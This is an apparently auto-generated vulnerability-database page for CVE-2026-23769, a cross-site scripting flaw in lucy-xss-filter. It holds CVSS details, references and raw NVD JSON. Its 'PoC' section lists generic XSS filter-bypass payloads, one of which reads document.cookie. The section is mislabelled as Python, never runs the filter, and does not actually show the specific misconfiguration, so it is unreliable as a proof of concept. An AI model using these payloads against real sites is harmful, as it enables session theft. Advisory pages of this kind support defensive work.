CVE-2026-23769

Description

lucy-xss-filter before commit e5826c0 allows an attacker to execute malicious JavaScript due to improper sanitization caused by misconfigured default superset rule files.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:naver:lucy-xss-filter:*:*:*:*:*:*:*:* - VULNERABLE

lucy-xss-filter < e5826c0 commit

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-23769 PoC - lucy-xss-filter bypass
// This PoC demonstrates XSS injection via misconfigured superset rules

import com.navercorp.lucy.security.xss.servletfilter.XssEscapeServletFilter;

public class CVE202623769PoC {
    public static void main(String[] args) {
        // Example malicious payloads that may bypass the filter
        // due to misconfigured default superset rules
        
        String[] payloads = {
            // HTML5 event handler bypass attempts
            "<img src=x onerror=alert(document.cookie)>",
            "<svg/onload=alert('XSS')>",
            "<body onload=eval(atob('YWxlcnQoMSk='))>",
            "<video><source onerror=javascript:alert(1)>",
            "<details open ontoggle=confirm(1)>",
            // Data URI scheme bypass
            "<a href='data:text/html,<script>alert(1)</script>'>click</a>",
            // JavaScript URI with special encoding
            "<a href='javascript:alert&#40;1&#41;'>XSS</a>",
            // Null byte injection
            "<img src=x onerror%00=alert(1)>",
            // Tab/CRLF injection
            "<img src=x onerror=\talert(1)>",
            // Unicode normalization bypass
            "<script>\u0061lert(1)</script>"
        };
        
        System.out.println("Testing XSS payloads against lucy-xss-filter:");
        for (String payload : payloads) {
            // In vulnerable versions, these payloads may bypass filtering
            // due to misconfigured superset rules
            System.out.println("Payload: " + payload);
            // Apply filter (would be done by XssEscapeServletFilter in production)
            // String filtered = XssEscapeServletFilter.filter(payload);
            // System.out.println("Filtered: " + filtered);
        }
        
        // Recommendation: Update to version with commit e5826c0 or later
        System.out.println("\nMitigation: Update lucy-xss-filter to latest version");
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23769
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23769
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23769/
[4] VulDB https://vuldb.com/cve/CVE-2026-23769
[5] https://cve.naver.com/detail/cve-2026-23769.html
[6] https://github.com/naver/lucy-xss-filter/pull/32

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23769", "sourceIdentifier": "[email protected]", "published": "2026-01-16T06:15:51.483", "lastModified": "2026-01-23T17:19:04.873", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "lucy-xss-filter before commit e5826c0 allows an attacker to execute malicious JavaScript due to improper sanitization caused by misconfigured default superset rule files."}, {"lang": "es", "value": "lucy-xss-filter antes del commit e5826c0 permite a un atacante ejecutar JavaScript malicioso debido a una sanitización incorrecta causada por archivos de reglas de superconjunto predeterminados mal configurados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:naver:lucy-xss-filter:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-06-08", "matchCriteriaId": "EE152946-8B7E-490F-986A-D584F6CC5D4D"}]}]}], "references": [{"url": "https://cve.naver.com/detail/cve-2026-23769.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/naver/lucy-xss-filter/pull/32", "source": "[email protected]", "tags": ["Patch"]}]}}